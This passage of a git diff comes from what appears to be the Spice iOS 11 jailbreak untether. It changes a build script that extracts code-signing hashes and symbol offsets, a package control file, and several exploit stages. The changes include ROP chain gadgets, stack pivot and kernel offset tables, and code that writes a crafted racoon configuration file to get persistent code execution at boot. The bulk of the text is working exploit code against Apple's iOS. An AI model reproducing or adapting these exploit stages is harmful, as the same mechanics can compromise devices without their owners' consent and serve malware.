-echo -e -n $(codesign --display -vvv ./generated/stage3.dylib 2>/dev/stdout | grep "CDHash=" | sed 's/CDHash=//; s/../&,0x/g; s/,0x$//') >> ./generated/stage2_hash3.h +echo -e -n $(codesign --display -vvv ./generated/racoon.dylib 2>/dev/stdout | grep "CDHash=" | sed 's/CDHash=//; s/../&,0x/g; s/,0x$//') >> ./generated/stage2_hash3.h (echo -e "}\n#endif") >> ./generated/stage2_hash3.h # Prove that worked @@ -17,8 +17,8 @@ cat ./generated/stage2_hash3.h # Now we want to get our offsets that install.m needs echo -e "// Generated file by compile_stage3.sh, do not edit\n#ifndef INSTALL_STAGE3_OFFSETS\n#define INSTALL_STAGE3_OFFSETS" > ./generated/install_stage3_offsets.h -echo $(nm ./generated/stage3.dylib | grep "_where_it_all_starts" | sed 's/[^0-9a-f].*$//g; s/^0*/#define STAGE3_JUMP 0x/g') >> ./generated/install_stage3_offsets.h -echo -e $(jtool --sig ./generated/stage3.dylib | grep "Blob at offset" | sed 's/ (/\\n#define STAGE3_CSBLOB_SIZE /; s/ by.*$/\\n#endif/; s/Blob.*: /#define STAGE3_CSBLOB /') >> ./generated/install_stage3_offsets.h +echo $(nm ./generated/racoon.dylib | grep "_where_it_all_starts" | sed 's/[^0-9a-f].*$//g; s/^0*/#define STAGE3_JUMP 0x/g') >> ./generated/install_stage3_offsets.h +echo -e $(jtool --sig ./generated/racoon.dylib | grep "Blob at offset" | sed 's/ (/\\n#define STAGE3_CSBLOB_SIZE /; s/ by.*$/\\n#endif/; s/Blob.*: /#define STAGE3_CSBLOB /') >> ./generated/install_stage3_offsets.h # Prove that worked cat ./generated/install_stage3_offsets.h \ No newline at end of file diff --git a/src/untether/control b/src/untether/control new file mode 100644 index 0000000..d90d88c --- /dev/null +++ b/src/untether/control @@ -0,0 +1,9 @@ +Package: lol.spyware.spiceuntether +Name: Spice Untether Payload +Version: 1.0.160 +Architecture: iphoneos-arm +Description: Upgrades the Spice jailbreak to untethered +Maintainer: UInt2048 +Author: JakeBlair420 +Section: System +Depends: firmware (>= 11.0), firmware (<= 11.4.1) diff --git a/src/untether/install.m b/src/untether/install.m index f85a579..6883cd3 100644 --- a/src/untether/install.m +++ b/src/untether/install.m @@ -3,6 +3,7 @@ #include #include #include +#include #include "common.h" #include "stage1.h" #include "stage2.h" @@ -17,7 +18,6 @@ int install(const char *config_path, const char *racoon_path, const char *dyld_cache_path) { #if J96_11_3_1 -#define KERNEL_CACHE_PATH "/System/Library/Caches/com.apple.kernelcaches/kernelcache" // this basically just initalizes the myoffsets structure. THis is the only part that prevent the jailbreak from working on all devices/versions because the offsetfinders (I think mainly the kernel one) is still broken // so in theory you could also remove all the offsetfinders and just get the symbols by hand // For examples on how they look like, just look at the git history at some point there were no offsetfinders and all of this was hardcoded for a specific device (either ipad mini gen 4 wifi iOS 11.1.2 or 11.3.1) @@ -28,7 +28,7 @@ int install(const char *config_path, const char *racoon_path, const char *dyld_c // init the kernel offset finder (libjake) jake_img_t kernel_symbols = malloc(sizeof(jake_img)); - if (jake_init_image(kernel_symbols, KERNEL_CACHE_PATH)) { + if (jake_init_image(kernel_symbols, "/System/Library/Caches/com.apple.kernelcaches/kernelcache")) { LOG("Patchfinder init failed\n"); return -1; } @@ -81,7 +81,7 @@ int install(const char *config_path, const char *racoon_path, const char *dyld_c myoffsets.is_task = 0x28; // offset of the is_task field #else - jake_img_t kernel_symbols; // dummy + void* kernel_symbols = NULL; offset_struct_t myoffsets; // adr @ 0x100067c10 // ldr @ 0x1000670e0 @@ -106,7 +106,7 @@ int install(const char *config_path, const char *racoon_path, const char *dyld_c myoffsets.add_x0_gadget = OFF_ADD_X0_GADGET; myoffsets.rop_nop = myoffsets.BEAST_GADGET+4*17; myoffsets.errno_offset = OFF_ERRNO; - myoffsets.mach_msg_offset = OFF_MACH_MSG; + myoffsets.mach_msg_offset = OFF_NDR_RECORD; myoffsets.longjmp = OFF_LONGJMP; myoffsets.stack_pivot = OFF_STACK_PIVOT; @@ -148,7 +148,7 @@ int install(const char *config_path, const char *racoon_path, const char *dyld_c stage2(kernel_symbols,&myoffsets,"/private/etc/racoon/"); // generate stage 1 - // TODO: make sure that the directory exists + if (mkdir("/var/run/racoon/", 0777) < 0 && errno != EEXIST) return errno; int f = open("/var/run/racoon/test.conf",O_WRONLY | O_CREAT,0644); stage1(f,&myoffsets); close(f); diff --git a/src/untether/stage1.h b/src/untether/stage1.h index 3723dd8..f985b5c 100644 --- a/src/untether/stage1.h +++ b/src/untether/stage1.h @@ -9,10 +9,12 @@ // THE BIG PROBLEM WITH THIS IS THAT IF YOU USE A DAEMON THAT HAS KEEP ALIVE AND YOU HARDCODE THEM THEY MIGHT BE DIFFERENT IN THE FIRST FEW SECONDS OF BOOTING (I believe that this happens because launchd opens some fds later so the number increases) // IF YOU CHANGE THESE VALUES HERE AND THEN USE IT IN A KEEP ALIVE DAEMON IT WILL CRASH OVER AND OVER AGAIN CAUSE A SOFTBRICK OF THE SYSTEM SO REALLY WATCH OUT WHEN YOU CHANGE THEM/MAKE SURE THEY ARE SET RIGHT WHEN YOU TEST THIS ON A NEW/DIFFERENT IOS VERSION // see stage1.c on when and how they are used (I think STAGE2_FD will always be DYLD_CACHE_FD + 1) -#if N69_11_3 || N69_11_4 +#if N69_11_3 || N69_11_4 || N71_11_3_1 #define DYLD_CACHE_FD 5 -#elif N41_10_3_4 || N71_11_3_1 || J96_11_1_2 || J96_11_3_1 +#elif STAGE1FD_SCREAM_TEST || J96_11_1_2 || J96_11_3_1 #define DYLD_CACHE_FD 6 +#else +#error DYLD_CACHE_FD must be defined. Enable STAGE1FD_SCREAM_TEST if you don't know. #endif #define STAGE2_FD (DYLD_CACHE_FD+1) void generate_stage1_rop_chain(offset_struct_t * offsets); diff --git a/src/untether/stage1.m b/src/untether/stage1.m index d26bb0b..252cb1d 100644 --- a/src/untether/stage1.m +++ b/src/untether/stage1.m @@ -248,7 +248,11 @@ to call mmap(new_cache_addr,cache_text_seg_size,PROT_READ | PROT_EXEC,MAP_FILE | ADD_STATIC_GADGET(0); // 0x110 [3] x20 [4] x5/sixth arg ADD_GADGET(); // 0x118 [3] x19 [4] x7/eighth arg ADD_GADGET(); // 0x120 [3] x29 +#if STAGE1FD_SCREAM_TEST + ADD_STATIC_GADGET(0xaaaaaaaaaaaaaaaa); // this will throw a SIGBUS +#else ADD_CODE_GADGET(offsets->BEAST_GADGET); // 0x128 [3] x30 (next gadget) +#endif #define ADD_UNSLID_CODE_GADGET(code_addr) ADD_STATIC_GADGET(code_addr-0x180000000+offsets->new_cache_addr) // we can now use the stack cache for the other calls and now we will open stage 2 to get a file descriptor diff --git a/src/untether/stage2.entitlements b/src/untether/stage2.entitlements index 988fc02..1460af7 100644 --- a/src/untether/stage2.entitlements +++ b/src/untether/stage2.entitlements @@ -2,259 +2,9 @@ - diff --git a/src/untether/stage2.m b/src/untether/stage2.m index d2ea25e..0542ad4 100644 --- a/src/untether/stage2.m +++ b/src/untether/stage2.m @@ -1357,7 +1357,6 @@ void stage2(jake_img_t kernel_symbols, offset_struct_t * offsets,char * base_dir offsets_t * lib_offsets = malloc(sizeof(offsets_t)); memset(lib_offsets,0,sizeof(offsets_t)); lib_offsets->constant.kernel_image_base = OFF_KERNEL_IMAGE_BASE; -#define sym(name) jake_find_symbol(kernel_symbols,name) lib_offsets->funcs.copyin = OFF_COPYIN; lib_offsets->funcs.copyout = OFF_COPYOUT; lib_offsets->funcs.current_task = OFF_CURRENT_TASK; @@ -1388,18 +1387,18 @@ void stage2(jake_img_t kernel_symbols, offset_struct_t * offsets,char * base_dir lib_offsets->struct_offsets.task_all_image_info_size = OFF_TASK_ALL_IMAGE_INFO_SIZE; // iosurface stuff isn't set and also isn't used #if N71_11_3_1 - lib_offsets->userland_funcs.write = OFF_WRITE; - lib_offsets->userland_funcs.IOConnectTrap6 = OFF_IOCONNECTTRAP6; - lib_offsets->userland_funcs.mach_ports_lookup = OFF_MACH_PORTS_LOOKUP; - lib_offsets->userland_funcs.mach_task_self = OFF_MACH_TASK_SELF; - lib_offsets->userland_funcs.mach_vm_remap = OFF_MACH_VM_REMAP; - lib_offsets->userland_funcs.mach_port_destroy = OFF_MACH_PORT_DESTROY; - lib_offsets->userland_funcs.mach_port_deallocate = OFF_MACH_PORT_DEALLOCATE; - lib_offsets->userland_funcs.mach_port_allocate = OFF_MACH_PORT_ALLOCATE; - lib_offsets->userland_funcs.mach_port_insert_right = OFF_MACH_PORT_INSERT_RIGHT; - lib_offsets->userland_funcs.mach_ports_register = OFF_MACH_PORTS_REGISTER; - lib_offsets->userland_funcs.mach_msg = OFF_MACH_MSG; - lib_offsets->userland_funcs.posix_spawn = OFF_POSIX_SPAWN; + lib_offsets->userland_funcs.write = (void*)(OFF_WRITE); + lib_offsets->userland_funcs.IOConnectTrap6 = (void*)(OFF_IOCONNECTTRAP6); + lib_offsets->userland_funcs.mach_ports_lookup = (void*)(OFF_MACH_PORTS_LOOKUP); + lib_offsets->userland_funcs.mach_task_self = (void*)(OFF_MACH_TASK_SELF); + lib_offsets->userland_funcs.mach_vm_remap = (void*)(OFF_MACH_VM_REMAP); + lib_offsets->userland_funcs.mach_port_destroy = (void*)(OFF_MACH_PORT_DESTROY); + lib_offsets->userland_funcs.mach_port_deallocate = (void*)(OFF_MACH_PORT_DEALLOCATE); + lib_offsets->userland_funcs.mach_port_allocate = (void*)(OFF_MACH_PORT_ALLOCATE); + lib_offsets->userland_funcs.mach_port_insert_right = (void*)(OFF_MACH_PORT_INSERT_RIGHT); + lib_offsets->userland_funcs.mach_ports_register = (void*)(OFF_MACH_PORTS_REGISTER); + lib_offsets->userland_funcs.mach_msg = (void*)(OFF_MACH_MSG); + lib_offsets->userland_funcs.posix_spawn = (void*)(OFF_POSIX_SPAWN); #else lib_offsets->userland_funcs.write = (void*)(get_addr_from_name(offsets,"write") - 0x180000000 + offsets->new_cache_addr); lib_offsets->userland_funcs.IOConnectTrap6 = (void*)(get_addr_from_name(offsets,"IOConnectTrap6") - 0x180000000 + offsets->new_cache_addr); diff --git a/src/untether/stage4.m b/src/untether/stage4.m index bc9c8b7..545a84e 100644 --- a/src/untether/stage4.m +++ b/src/untether/stage4.m @@ -6,7 +6,7 @@ // used to catch all signals void sighandler(int signo) { - LOG("received signal: %d",signo); + LOG("Stage 4 received signal: %d",signo); } int main() { diff --git a/submodules/libjake b/submodules/libjake index 7eec005..d751a97 160000 --- a/submodules/libjake +++ b/submodules/libjake @@ -1 +1 @@ -Subproject commit 7eec0051be82308dc52b8a9d5902fd2992f2edc9 +Subproject commit d751a97567446134f96eff0f966ef56b5c4ce02e